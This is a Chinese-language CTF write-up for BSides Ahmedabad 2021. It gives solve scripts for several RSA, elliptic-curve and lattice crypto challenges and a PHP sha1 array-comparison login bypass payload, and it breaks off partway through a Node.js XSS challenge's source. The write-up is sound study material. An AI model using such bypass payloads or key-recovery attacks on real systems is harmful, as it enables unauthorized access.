BSides Ahmedabad CTF 2021 WriteUps

發表於 2021-11-07

分類於 CTF

雖然在期中考前，還是手癢在大致上複習好了之後稍微解點題目，大概只打了半場比賽，一樣主要以 crypto 和 web 為主，pwn 和 rev 也有各解一題。

題目名稱上有 * 的題目代表是我賽後才解的。

Crypto

dlppp

import os
from Crypto.Util.number import getPrime, getRandomNBitInteger

flag = os.getenv("FLAG", "XXXX{sample_flag}").encode()
m = int.from_bytes(flag, 'big')

p = getPrime(512)
y = pow(1 + p, m, p**3)

assert m < p
print(f"p = {hex(p)}")
print(f"y = {hex(y)}")

這題要解個 $\mathbb{F}_{p^3}$ 下的 DLP $g^x=y$ ，其中的 $g=1+p$ 且 $x<p$ 。

首先先簡化到 $\mathbb{F}_{p^2}$ 去比較好處理，因為

g^x \equiv y \pmod{p^3} \implies g^x \equiv y \pmod{p^2}

所以這樣做是沒問題的。

接下來用二項式定理可知:

g^x=(1+p)^x=1+xp=y \pmod{p^2}

所以 DLP 的結果 $x=\frac{y-1}{p}$ 就拿到 flag 了。

from Crypto.Util.number import long_to_bytes

p = 0xA1C8E1E9B2301CB1F5D424EC6D959D7F275E11507B2177D55F3DC1268C9A3164B72832F362975023F09623814F80FE0FFAD179D0E51C40B8A1F882D1F5F28E71
y = 0x6FA0FCC8C9C5F695A5709243698D7640C27C45352375919D538137333AB3A2C748CAE5E7C1294D6FFC4007476F6FEC6421C992F9FE1919B381306300CAA2260953E48F2EC0DE7B8C6417FAA42001A748B1B367F5211095DDD6BF4E681F7E7AD787E0A7F562F6F0307D6A8D7E8D18CD59BD7572F0C4F430F0FD4FC61503B203F3BCD6DD0B0F84BBDBD42126D95B525FE77E4BE62C6DBD083DBCAA284B20A9EA6FAF9CBAF20DD88B0180417C9021FA1DCB52B2348C4376BD6B9B38A6C860086AF
g = 1 + p

y %= p ^ 2
m = (y - 1) // p

print(long_to_bytes(m))

這題其實和 Paillier cryptosystem 關係很大。

floorsa

import os
import hashlib
from Crypto.Util.number import getPrime, getRandomNBitInteger
from itertools import product

def floor_sum(n: int, m: int, a: int) -> int:
  """Fast calculation for sum([a * i // m for i in range(n)])
  """
  res, b = 0, 0
  while 0 < n:
    res += n * (n - 1) // 2 * (a // m)
    a %= m
    res += n * (b // m)
    b %= m
    last = a * n + b
    n, m, a, b = last // m, a, m, last % m
  return res

#def floor_sum_tests():
#  for n, m, a in product(range(50), range(1, 50), range(50)):
#    result = floor_sum(n, m, a) 
#    expect = sum([a * i // m for i in range(n)])
#    assert(result == expect)

if __name__ == '__main__':
  #floor_sum_tests()

  flag = os.getenv('FLAG', 'XXXX{sample_flag}').encode()
  flag += hashlib.sha512(flag).digest()
  m = int.from_bytes(flag, 'big')
  assert m.bit_length() < 2048

  p = getPrime(1024)
  q = getPrime(1024)
  n = p * q
  e = 65537
  c = pow(m, e, n)
  s = floor_sum(q, q, p)

  print(f"c = {c}")
  print(f"n = {n}")
  print(f"s = {s}")

這題有個奇怪的 floor_sum 可以快速計算出 $\sum_{i=0}^{n-1} \lfloor\frac{ai}{m}\rfloor$ 的值，然後它會給一個 s = floor_sum(q, q, p) 作為一個提示用的數字讓你分解 RSA。

我賽中只能看出它那個 floor_sum(q, q, p) 似乎和 gcd 有點關係，但是沒看出什麼，只能把那個函數簡化如下:

def sum2(q, p):
    ret = 0
    while q > 0:
        ret += q * (q - 1) // 2 * (p // q)
        q, p = p % q, q
    return ret

不過自己隨便測試的時候發現了一個奇怪的關係 $n\bmod{s}=p+q-1$ ，所以就把它解掉了:

from Crypto.Util.number import long_to_bytes

c = 23040235907187792043102377766239160347012425454756214402219399982044253963561544138187423569531882081170834886320190973854626011799820277883217582208960795474430615579336090533683566370889382239077437657567815790536809115842475993748108172855688647606634510990327206587307392015543017884876145469179123535144938693302707229724909443912012098405828416163212773471183275687343852756789315215914149905888864296778004572587778916842514807079884644431138433900314631727531570096879428541834626325720522038566946030094711700613155240677360427005636301342509966941323931780006792225168839057660986447452212763627881844882128
n = 25436172154773316497363731760659809627551021985352168624695689317365040018878195925779734249357382145683534839534348832631746578327288150976696513216052612085728199134879493012682967254530827617417753223998955022174337237825391634619718971640535408277659054217709169558518413217237374290054035438476060534235907848570089739603581573457194953083783917042829987113625590656741008590506988903895998008845547262465276679611851110911540261411521221317990139079888782193797945245078986517794660508171428778191152342783279365287710944280356669999624474416422142006473378042779555537142175392801014489187786764971671239717769
s = 12718086077386658248681865880329904813775510992676084312347844658682520009439097962889867124678691072841767419767174416315873289163644075488348256608026306042864099567439746506341483627265413808708876611999477511087168618912695817309859485820267704138829527108854584779259206608618687145027017719238030267117794390566380531016624830798422997060308480467087130633621890831591995264022449058406630323270130520401030807803477672651197312971884784226103671425190328967548002718406368654056897938481966140031709870266384782295285897095028680666943294657806202686252742158733266700286323555374087306844259404255328911060160

pq = (n % s) + 1  # idk why...

# (x-p)(x-q)=x^2-pq*x+n
def solve(a, b, c):
    D = b ^ 2 - 4 * a * c
    return (-b + sqrt(D)) / (2 * a)


p = solve(1, -pq, n)
q = n // p
assert p * q == n

d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

後來在官方的解答才懂為什麼:

\sum_{i=0}^{q-1} \lfloor\frac{ip}{q}\rfloor = \lfloor\frac{p}{q}\rfloor + \cdots + \lfloor\frac{(q-1)p}{q}\rfloor

然後頭尾兩兩分組:

=(\lfloor\frac{p}{q}\rfloor + \lfloor\frac{(q-1)p}{q}\rfloor) + (\lfloor\frac{2p}{q}\rfloor + \lfloor\frac{(q-2)p}{q}\rfloor) + \cdots

因為 $\frac{p}{q}$ 非整數，所以有 $\lfloor\frac{p}{q}\rfloor+\lfloor\frac{-p}{q}\rfloor=-1$ ，因此整個式子是:

=(p-1)+(p-1)+\cdots=\frac{(p-1)(q-1)}{2}

那這樣就有 $\varphi(n)=2s$ ，所以分解 RSA 就很容易了，或是也可以直接算 private key。

SSSS.RNG

p = random_prime(1<<512)

a = randint(2, p-1)
b = randint(2, p-1)
x = randint(2, p-1)

def g():
    global a, b, x
    x = (a*x + b) % p
    return x

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")
assert flag < p

PR.<X> = PolynomialRing(GF(p))
f = g() + g()*X + g()*X**2 + g()*X**3 + g()*X**4 + g()*X**5
vs = [(i, f(i)) for i in range(1, 5)]

print(p)
print(vs)
print(f(flag))

題目用 LCG 生成了一個 $\mathbb{F}_p$ 的五次多項式 $f(x)$ ，然後給你其中四個點和 $f(\text{flag})$ 的值和 $p$ 。

雖然正常來說要恢復一個五次多項式要六個點才行，但是這題的係數都是 LCG 產生的，而且 LCG 的 modulus 也是 $p$ ，所以多項式的係數都能很漂亮的表示為 $a,b,x$ 的組合。

有四個點可以列出四條式子，所以可以解出 $a,b,c$ 然後恢復整個多項式，最後用 sage 的 roots() 把 flag 找回來即可。

解聯立的部分使用 sage 的 groebner basis 去解就好了:

from Crypto.Util.number import long_to_bytes

# fmt: off
p = 2908561168050746475465170048583677924550221390147321314856251074876765877416890922338619139786060615096740196376171212325702080653039392939240436429222829
vs = [(1, 1651293975450381579706844999808202297670211173037061827272908790114230592434748044848097133563469251678879059156225205298834971071359017469397331605782920), (2, 49656064002974834481096383104316375265711545391722811288216446968986145936494966876404160910407919885451814058823146922107458035910700220495010462147112), (3, 1481214561214496310917942246038921499126047497749957535731608952096552856013930232284898279007009260107597472601959627310496773682697020898442717240484400), (4, 1950790377868548708758723604473108315857898618124646291056275632619091046294238343215502355242288776617394025418770078552886012721353626716473759644786481)]
fflag = 708078355843841364722603057137729966137248436075776171805731561888875332687774464375592593202164126123800524500062359645261336234459019198930345744751457
# fmt: on

ys = [v[1] for v in vs]

P.<a, b, x> = GF(p)[]


def g():
    global x
    x = a * x + b
    return x


cs = [g() for _ in range(6)]
print(cs)
M = matrix.vandermonde([1, 2, 3, 4, 5, 6])[:-2]
eqs = M * vector(cs) - vector(ys)
I = P.ideal(list(eqs))
assert I.dimension() == 0
V = I.variety()
sol = V[0]
a = sol["a"]
b = sol["b"]
x = sol["x"]

print(a, b, x)

P.<X> = PolynomialRing(GF(p))
f = g() + g() * X + g() * X ** 2 + g() * X ** 3 + g() * X ** 4 + g() * X ** 5
flag = (f - fflag).roots()[0][0]
print(long_to_bytes(flag))

*ECC-RSA 2

from Crypto.Util.number import getPrime
from hashlib import sha256
import random


def gen_parameters():
	p = getPrime(512)
	q = getPrime(512)
	N = p * q
	a = -3
	while True:
		b = random.randint(0, N)
		if (4*a**3 + 27*b**2) % N != 0:
			break
	x = random.randint(0, N)
	while True:
		y2 = (x**3 + a*x + b) % N
		if Zmod(p)(y2).is_square() and Zmod(q)(y2).is_square():
			break
		x = random.randint(0, N)
	y = CRT([int(Zmod(p)(y2).sqrt()), int(Zmod(q)(y2).sqrt())], [p, q])
	return (N, a, b, (x, y))

with open("flag.txt", "rb") as f:
	FLAG = f.read().strip()


N, a, b, (x, y) = gen_parameters()

EC = EllipticCurve(Zmod(N), (a, b))
P = EC(x, y)

T = P
ct = []
for byte in FLAG:
	r = int(T.xy()[0])
	ct.append(pow(byte*r, 65537, N))
	T += T

with open("backdoor.txt", "w") as f:
	f.write(str(P.xy()))

print(N)
print(a)
print(b)
print(ct)

題目隨機生成的 RSA 的 $N$ ，然後在 $\mathbb{Z}_N$ 上生成一條隨機的橢圓曲線 $E$ 和上面的一點 $P$ 。

加密的部分是拿 flag 的每個 byte $b_i$ 去算 $(b_ir)^e\bmod{N}$ ，而 $r$ 是 $T$ 的 x 座標，初始時 $T=P$ 且每次迴圈會更新 $T=T+T$ 。

顯然只要能知道 $P$ 的話就能直接爆破回 flag 的字元了。

首先是 flag 為 Neko{ 開頭的，所以我們可以回推出 $c_1=x^e$ 和 $c_2=(x')^e$ ，其中 $x, x'$ 分別是第一個和第二個 $r$ 。

根據這類橢圓曲線的 point doubling formula 可以推得:

\begin{aligned} x'&=(\frac{3x^2+a}{2y})^2-2x \\ &=\frac{(3x^2+a)^2}{4(x^3+ax+b)}-2x \\ &=\frac{(3x^2+a)^2-2x(4(x^3+ax+b))}{4(x^3+ax+b)} \\ &=\frac{k(x)}{l(x)} \end{aligned}

然後我在比賽中就卡在這邊，想說把分母乘到左側後再把右側減過來得到一個二元多項式 $f(x,x')$ 。然後計算 $\gcd(f^e-(x')^e+c_2,x^e-c_1)$ 就可以獲得共同根 $x$ 去解密 flag。只是這個方法的問題在於我們沒辦法快速計算 $f^e$ ，因為 $e=65537$ 對於 sage 來說太大了。

後來在比賽後才知道可以把它做點微調:

(x')^e-c_2 = 0

兩邊同乘 $l(x)^e$ :

\begin{aligned} g(x)=(l(x)x')^e&-l(x)^e c_2 \\ =k(x)^e&-l(x)^ec_2=0 \\ \end{aligned}

然後和 $f(x)=x^e-c_1$ 就會擁有共同的根 $x$ ，gcd 就能求出來了。

不過這邊 $e=65537$ 有點大，單純的 gcd 要花上數個小時，所以可以使用 Half-GCD 去計算會快很多，大概可以在數分鐘內完成。

from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


# fmt: off
N = 77442460850212773085794635801375958845804707324993357281208194551623657239187349312436696241935186166257591258504749545772004295327768144396282976900520432732812806363533815251339418767473076011913487178468095959185644823866637334571397649439304806976102102648089122600431404774320176332888332026871462714241
a = -3
b = 43578632266128244820417508517042181755548611175192225705779617200211657490732773312201748031199866345732692087242358575000478046482017387745781434943027615258011975018844134398549042530691348612104431176684289790039020991799641531076390867070455143909432946642413870202048257142913333962443315780842386642355
ct = [21697086857122395176967434654620494627649522148784334045225979449081521488425867082556155818341337071695052689435277079021315588247445055792538963495385773534313807325428840566239154599652446828845504373246944071942414868125146072186227947915771087841250919586422115933424816104302793374958996770253881538673, 49266477054257074473484818561542862745662164231714071140708510651506917381315846662378148841703551424449488467221139483391935479888005959017268552566263422337725411476118524905454705883034549736801225658230078676793857361511433206436194566028594273717701913976245784854561523123789898473908838946902331239866, 7028603282358377495992448362382680390936488310246693315946536533009869131409339287743826905497617870069227204058010261234048284371746377537207831676416633787839846455957555930933160453028689071471311111465411188786513962789048766343384192674592887535558074190054508704985519643182566020856627025680632717108, 9050513336296157318966296526057766469795700863500311709011501078551269762419051027920152087634110021002155294396880732088737967114468704530149483319349124108635470983622198438374066941409351854232260998138763975368301797611951517123629772690822424527049219295311881636461980964393606244977156016351237130197, 23722314062555797757055550662032306586520729360778729513752662310125207625493153569344377395808876436885009166977305311030548086876148175329723072006713368012957948111405386576111829480888205290121863395502615092335120796113485396854148984265743154783580839343811115943714225834266064887917047352644157273663, 48520278189315027327894817534851811386313455146699473585424759278836581631834438215028127659907900773403588324713292043072158488639065137602589232334973598468868368868136595807057994768429695117828412579079416200994227636569324964253500177172162270428920418426521656920672461006572251311690498664259670047980, 70423420620276667958899540113166650749957929584320150452943858737019383323207499966037876331842403163896499411502109376042824370402486300015740045806940140883733761725512912671748019148243843240244347716263816398921415127590424564797474114183353623066292171563478747321244668431370593105073524158099680056094, 57677175743132749817331439822970399665404659767046232400429832271041195310159089504574259505839084395228911752958507363083336972538201432695022461280332212130366416141270136752966718318403591384030664906091824255129612295114139331552088520212323865083621659804807770884683449176042760776091854350083404924526, 48354495178825278561692284169233799680622346657017913645204626826186497975565663619029875724669403687881970079897883293075146579126533817892089793279733363828408186593189195318954989827811320586492365150403733361547513650329301069490776474167215307681091587669251138748148858280899282502778544617558206176985, 1336327070743151440916617006304633049523288270254562619190505707777800363977169223021523664064422394562408942874379817062606914194110006907256790564444251004706650094461726630985127782720094405534102852096565040244032680101823175338348529940773275112987271095199550382938852717124375367419138758827097381326, 22760224598067669674305741702965291613331728388294897519447863109696221098333759497452621578774373773250101299991412772367782521770750361046473223867254433118765828070168648680678074827678440816751913544852035837349689096839207930817492399262281578274080957167437289055817376627972980114169584412913968596087, 20595419914155552122877178467755568327152986831708305559340422283926560694627270816462357267364236257470552002381229962748461690478009845199170539143639091918892701434609808867056555409830377497559339044914484597058922482082417592744879083865810837754882387331203935527031110633228009257751264110797024578546, 25341140433014189989539932622500525293113873724972520359086922367924765292994134658438594704158349050190077806366632880963354528018912600358363187448424946962830493706447927874182406022016651649937946717954501209628113046418365164418483361453447889945650700721266118320463924797134271804385670622074565525299, 71177191510640698209863633991256798030200830943142635980027827377414887327579322925925041100506625306452720432569227645732694589215198378402426340400034611720273771011214479201021796422897920411600541006640452747214631793185643377098295849946535998565149249087257863500584983482668519466975765027864589716603, 28599620011804748257313773437078902860397585079299694804300901895147953889926640911593765330517566142707703195092261714644430345907857500070711907828586251177700802862846698634554873409516111081020436277706557672977471490398114685796200916967614622480361351924590483220123264063528533265260362384684263800167, 12253071305410566000639366028350424805155969567562548980487831660524498693689110406039973400134500275712162879393203338094990190978153116504275873511361544692198275051840929761621481573906987661703495903975204878839448224500251350920297587092074190965754981083015315405441492078177074234542052215647621496585, 69112545215140921979983409479033847146003961977233512471297180413815073274242067103795128200730774476345874423963236188960204157437697130322001813035817863785743899181146621118703838005673921929913090825444416288486362059100550311210988610439523180250495676126782785496304292282611950253143881533809309928052, 69966966847614763608073934644371139411463966772615917698612160736399260611565727828099311133390625931472347586254004631142595139970212250775393559262362108676974112023605859835683673130044617900653097579450403529328466613272159668601435242212668737398593910016275915935825126445999512561319770695779206294321, 73299451247510112208904286839181644749199582703719760611429444984804522606405642806033385280377834864514177346267610600726260362817691148922074682132502741862762463570547976082090825815142699899229153329925218724349240307305526021081315530509258175808474910828607629182191198897682198942350885864182628414007, 15616895810808341127764523917074295722136514038191384427000989308264246551792287242058240838534867994602032950960162168844427847817650720837354115976748805960373558190795740222223462376337253107739393485599799897893081874041348077165849860285675462769699066262256208579934583462636625005079624819560028588822, 1438419812071321050059639600278300222339302430716296518316583813588978289559379648962959942934778655009356910585074502145450955001392172672968677179576642798657895449546375502184957867174869040473533810227435579344138056983619652266840621426289618728238980715075056867694562686439781059289518624264781471122, 67996372510707957033060006799149976198282432792896793893101172214439399239528737106624385787438209697098271510620852570441849049544757836991721488854258930308064842963680483282975368155496540614262813644105532116947927151417398714970926667876453972699142502693269556975398296783029326970981791048240201224668, 43883291787408400200588525004386324919448363888776368356357239426167080976315192631213850232267311093476357006059205124005139395089873825866916668841660221456615724745312049204469066643807628702196055081686171468924594661526166240384811598448997207523186388904847912135907422789333573322493636857490033986154, 67760404563554578712047321493191166528018027359412851873668792914055026026286133561688226044425157590397255163185385368549813609161563689118682309664175098646271267445318421021048868742191079429919059652408943738239946909506045163027883015223495051587552609473275289004769239176900778500331417787966243057752, 33583107239590636118967771943982087324812780763028518394246376247731875865144427658491118537828931357539913376664949677961860227170046038707611331705642763909436254147657442466665049334653504004141339308372954659079831857713886693721013067331470196418010765868420007458522210229965617355629675477446001844210, 71862354059694341271875565922320556520854884699515866328747873150089326649147156830602967576658160700322807580886662752329966703026537836315877831776160002191233653472779456318405902629658827055463682614213384824542999366558332546878741780653013041663166059700695124133828487163337219758698715945177800260643, 4389650202426709688781610829889924871717394700561976928740907540453643682729275832551097553798461339373259098778642849458063901076441364987954274664893481147223793554328969936134568234935313468309239201579124009602857926470890061028501014400155764364369701734260211119747381524254600318062049201492458928576]
# fmt: on

e = 65537
Z = Zmod(N)
c1 = Z(ct[0]) / Z(ord("N")) ^ e
c2 = Z(ct[1]) / Z(ord("e")) ^ e


E = EllipticCurve(Z, (a, b))
P = PolynomialRing(Z, "x")
x = P.gen()

down = 4 * (x ^ 3 + a * x + b)
up = (3 * x ^ 2 + a) ^ 2 - 2 * x * down

f = x ^ e - c1
g = up ^ e - down ^ e * c2


# Half-GCD impl from https://github.com/rkm0959/rkm0959_implements/blob/main/Half_GCD/code.sage


def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)


import sys

sys.setrecursionlimit(500000)


res = GCD(f, g)
# res = (
#     68765093455835208028392258104907079565692659302812829782588600660675613929548799131035775043283907905375438946721292784903505396871443341473054747563228096356170292887552741209158721931281480445553591933194005921593589247544342013684870547235753590331284739460827586347933151294607856549542345658089301181459
#     * x
#     + 57976660076847746693047667669843141709781328208657608892943399238042073050136437602076395330212978534265956439717721582591882414227440127179227428240681552957224873749894765553704124594310498445840959011243768636829159507147665544078137706841681096739053274910222133055138566326690047859724098578096845570031
# )  # precomputed result
r = Z(-res.monic().coefficients()[0])

invtbl = {power_mod(i, e, N): i for i in range(256)}


for c in ct:
    c /= Z(r) ^ e
    print(chr(invtbl[c]), end="")
    r = Z(up(r)) / Z(down(r))

# Neko{h4lf_gcd_g0es_brrr...}

*They Were Eleven

import os
from Crypto.Util.number import getPrime, getRandomRange

with open("flag.txt", "rb") as f:
    m = f.read().strip()
    m += os.urandom(111 - len(m))
    m = int.from_bytes(m, "big")

xs = []
for i in range(11):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q

    c = m**11 * getRandomRange(0, 2**11) % n

    xs.append((c, n))

print(xs)

這題是個 RSA 的題目， $m$ 長度固定為 111 bytes，且使用 $c_i \equiv r_i m^{11} \pmod{n_i}$ 加密 11 次。其中 $n_i$ 是 1024 bits 的 modulus，而 $r_i$ 是 2048 以下的隨機數。

如果 $r_i$ 都是已知的話那可以很容易的使用 Hastad Broadcast 去開 11 次根號得到 $m$ ，只是這次我們不知道 $r_i$ 的值。

看到它的 $r_i < 2^{11}$ 和 $m < 2^{888}$ 這樣的限制給人的感覺就是一股 Lattice 的味道。所以可以嘗試看看要怎麼把題目化為 Lattice。

令 $T_i$ 符合

\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

設 $N=\prod_{i=1}^{n} n_i$ 後用類似 CRT 的方式可得

m^{11} \equiv \sum_{i=1}^{n} T_i r_i^{-1} c_i \pmod{N}

其中 $r_i^{-1}$ 是 $r_i^{-1} \bmod{n_i}$

這邊會遇到的一個問題是 $r_i$ 雖然夠小，但是 $r_i^{-1}$ 的大小就不一定了，也不知道有什麼方法可以在 Lattice 中表示 $r_i^{-1}$ 。

賽中我就卡在這邊，不知道如何進行下去，有做過不少嘗試不過都因為上下界不夠緊所以沒辦法用 Lattice 解。

後來去看了這篇來自 Mystiz 的 writeup 之後才懂要怎麼處理。

令 $R=\prod_{i=1}^{n} r_i$ 和 $R_i=R/r_i$ 後可以得到

R m^{11} \equiv \sum_{i=1}^{n} T_i R_i c_i \pmod{N}

所以可以得到以下的 Basis

B= \begin{bmatrix} N & 0 & 0 & \cdots & 0 \\ T_1 c_1 & 1 & 0 & \cdots & 0 \\ T_2 c_2 & 0 & 1 & \cdots & 0 \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ T_{11} c_{11} & 0 & 0 & \cdots & 1 \end{bmatrix}

顯然 $v=(R m^{11},R_1,\cdots,R_{11})$ 在 $B$ 展開的 lattice 中。

這邊可以估計一下 $Rm^{11}<2^{11\cdot11+11\cdot888}=2^{9889}$ 和 $R_i<2^{10\cdot11}=2^{110}$ ，所以整個 $v$ 不會超過 $9889+11\cdot110=11099$ bits。而 $N$ 本身是 $11\cdot1024=11264$ bits 所以 $v$ 算是個 short vector。

實際上 $R_i$ 的值會再更小點，大約 90~100 bits 左右，所以 $v$ 會更短

這邊我嘗試使用過 rkm0959/Inequality_Solving_with_CVP 的腳本去 scale 結合解 CVP 去找，不過 CVP 的能力似乎比 LLL 差一些，在這題的沒什麼效果。直接 LLL 找也是找不太到目標向量，所以恰當的做法是去 scale 之後再 LLL 比較好。

scale 的方法就是讓目標向量的每個維度大小不要差太多，所以把每個 column 乘上適當的常數將它打平即可。細節可直接看解題腳本。

得到 $v$ 之後可以爆破 $r_1$ 得到 $R$ ，然後就能拿到 $m^{11}$ 開 11 次方根拿到 flag。

不過 LLL 之後得到的 $v$ 向量其實不會是 $v$ ，而是 $v'=(R' m^{11},R_1',\cdots,R_{11}')$ ，其中 $R'=\operatorname{lcm}(r_1,\cdots,r_{11})$ 和 $R_i'=R'/r_i$ 。兩者只差一個常數倍關係，但是因為 LLL 會找短向量，所以找到的自然會是較短的那個。不過這個其實不影響上面爆破 $r_1$ 的方法，所以沒差。

xs = [...]

cs = [ZZ(x[0]) for x in xs]
ns = [ZZ(x[1]) for x in xs]
T = [crt([1 if i == j else 0 for j in range(11)], ns) for i in range(11)]
N = product(ns)

M = matrix(12, 12)
M[0, 0] = N
for i, (c, t) in enumerate(zip(cs, T)):
    M[i + 1, 0] = (c * t) % N
    M[i + 1, i + 1] = 1

print(M.change_ring(Zmod(10)))

b = N.nbits()
Q = matrix.diagonal([2 ^ b // (2 ^ 9889)] + [2 ^ b // (2 ^ 110)] * 11)

M *= Q
M = M.LLL()
M /= Q

for row in M:
    if row[0] < 0:
        row = -row
    if min(row) >= 0 and [row[0] % x == 0 for x in row[1:]]:
        for k1 in range(1, 2 ^ 11):
            R = k1 * row[1]
            if row[0] % R != 0:
                continue
            m11 = ZZ(row[0] // R)
            try:
                m = m11.nth_root(11)
                flag = int(m).to_bytes(111, "big")
                print(flag)
            except ValueError as e:
                pass

# Neko{th3_5tud3nts_0f_spac3_univ3rsity_sh0u1d_b3_wis3_1ik3_a_cat}

LLL 出來的向量有可能是反向的，所以要在適當情況下把它反過來

賽後解這個題目讓我學到了幾件事:

乘 $R$ 去處理模反元素的巧妙做法
CVP 的能力可能比 LLL 差，所以 rkm0959/Inequality_Solving_with_CVP 並非萬能
Lattice 找短向量的時候可以 rescale 的技巧

另外一個有趣的地方是我使用的 $T_i$ 其實和前面說的 writeup 中的 $N_i \cdot (N_i^{-1} \bmod{n_i})$ 是一樣的東西，其中 $N_i=N/n_i$ 。只是一個是明確算出來，一個是直接用 CRT 算。

Web

entrance

一個 php 暖身題，關鍵在這邊:

<?php
session_start();

$users = array(
    "admin" => "caa6d4940850705040738b276c7bb3fea1030460",
    "guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
    global $users;
    return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $sha1pass = lookup($_POST['username']);
    if ($sha1pass == sha1($_POST['password'])) {
        $_SESSION['login'] = true;
        $_SESSION['privilege'] = $_POST['username'] == "guest" ? "guest" : "admin";
        header("Location: /");
        exit();
    } else {
        $fail = true;
    }
}
?>

用 admin 登入之後就能拿到 flag。

測試一下可以知道 php 中 sha1([]) == ''，所以只要是任意不存在的 username 然後讓 password 塞陣列進去就能通過檢查了。

username=peko&password[]=miko

Roda

一個 node.js 寫的 XSS 題:

const fs = require('fs');
const axios = require('axios');
const express = require('express');
const multer = require('multer');
const mustacheExpress = require('mustache-express');
const Redis = require('ioredis');
const { v4: uuidv4 } = require('uuid');

const RECAPTCHA_SITE_KEY = process.env.RECAPTCHA_SITE_KEY || '[site key is empty]';
const RECAPTCHA_SECRET_KEY = process.env.RECAPTCHA_SECRET_KEY || '[secret key is empty]';
const SECRET = process.env.SECRET || 's3cr3t';
const FLAG = process.env.FLAG || 'Neko{dummy}';
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';

const app = express();
app.use(require('cookie-parser')());
app.use('/static', express.static('static'));
app.engine('mustache', mustacheExpress());
app.set('view engine', 'mustache');
app.set('views', __dirname + '/views');

const port = 5000;
const storage = multer.diskStorage({
  destination: './tmp/'
});

const redis = new Redis(REDIS_URL);

let uploadedFiles = {};
let checkedFiles = {};

const ID_TABLE = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
function generateId(n=8) {
  let res = '';
  for (let i = 0; i < n; i++) {
    res += ID_TABLE[Math.random() * ID_TABLE.length | 0];
  }
  return res;
}

// admin only!
function adminRequired(req, res, next) {
  if (!('secret' in req.cookies)) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  if (req.cookies.secret !== SECRET) {
    res.status(401).render('error', {
      message: 'Unauthorized'
    });
    return;
  }

  next();
}

app.get('/', (req, res) => {
  res.render('index');
});

app.get('/flag', adminRequired, (req, res) => {
  res.send(FLAG);
});

const SIGNATURES = {
  'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
  'jpg': new Uint8Array([0xff, 0xd8])
};

function compareUint8Arrays(known, input) {
  if (known.length !== input.length) {
  	return false;
  }

  for (let i = 0; i < known.length; i++) {
    if (known[i] !== input[i]) {
      return false;
    }
  }

  return true;
}

function isValidFile(ext, data) {
  // extension should not have special chars
  if (/[^0-9A-Za-z]/.test(ext)) {
    return false;
  }

  // prevent uploading files other than images
  if (!(ext in SIGNATURES)) {
  	return false;
  }

  const signature = SIGNATURES[ext];
  return compareUint8Arrays(signature, data.slice(0, signature.length));
}

const upload = multer({
  storage,
  limits: {
    files: 1,
    fileSize: 100 * 1024
  }
});
app.post('/upload', upload.single('file'), (req, res) => {
  const { file } = req;
  fs.readFile(file.path, (err, data) => {
    const buf = new Uint8Array(data);

    const fileName = file.originalname;
    const ext = fileName.split('.').slice(-1)[0];
  
    // check if the file is safe
    if (isValidFile(ext, buf)) {
      const newFileName = uuidv4() + '.' + ext;
      fs.writeFile('uploads/' + newFileName, buf, (err, data) => {
        let id;
        do {
          id = generateId();
        } while (id in uploadedFiles);

        uploadedFiles[id] = newFileName;
        res.json({
          status: 'success',
          id
        });
      });
    } else {
      res.json({
        status: 'error',
        message: 'Invalid file'
      });
    }
  });
});

// show uploaded contents
const MIME_TYPES = {
  'png': 'image/png',
  'jpg': 'image/jpeg'
};

app.get('/uploads/:fileName', (req, res) => {
  const { fileName } = req.params;
  const path = 'uploads/' + fileName;

  // no path traversal
  res.type('text/html'); // prepare for error messages
  if (/[/\\]|\.\./.test(fileName)) {
    res.status(403).render('error', {
      message: 'No hack'
    });
    return;
  }

  // check if the file exists
  try {
    fs.accessSync(path);
  } catch (e) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  // send proper Content-Type header
  try {
    const ext = fileName.split('.').slice(-1)[0];
    res.type(MIME_TYPES[ext]);
  } catch {}

  fs.readFile(path, (err, data) => {
    res.send(data);
  });
});

app.get('/:id', (req, res) => {
  const { id } = req.params;

  if (!(id in uploadedFiles)) {
    res.status(404).render('error', {
      message: 'Not found'
    });
    return;
  }

  res.render('file', {
    path: uploadedFiles[id],
    checked: id in checkedFiles,
    siteKey: RECAPTCHA_SITE_KEY,
    id
  });
});

// report image to admin
app.post('/:id/report', async (req, res) => {
  const { id } = req.params;
  const { token } = req.query;
/*
  const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`;
  const url = 'https://www.google.com/recaptcha/api/siteverify' + params;
  const result = await axios.get(url);

  if (!result.data.success) {
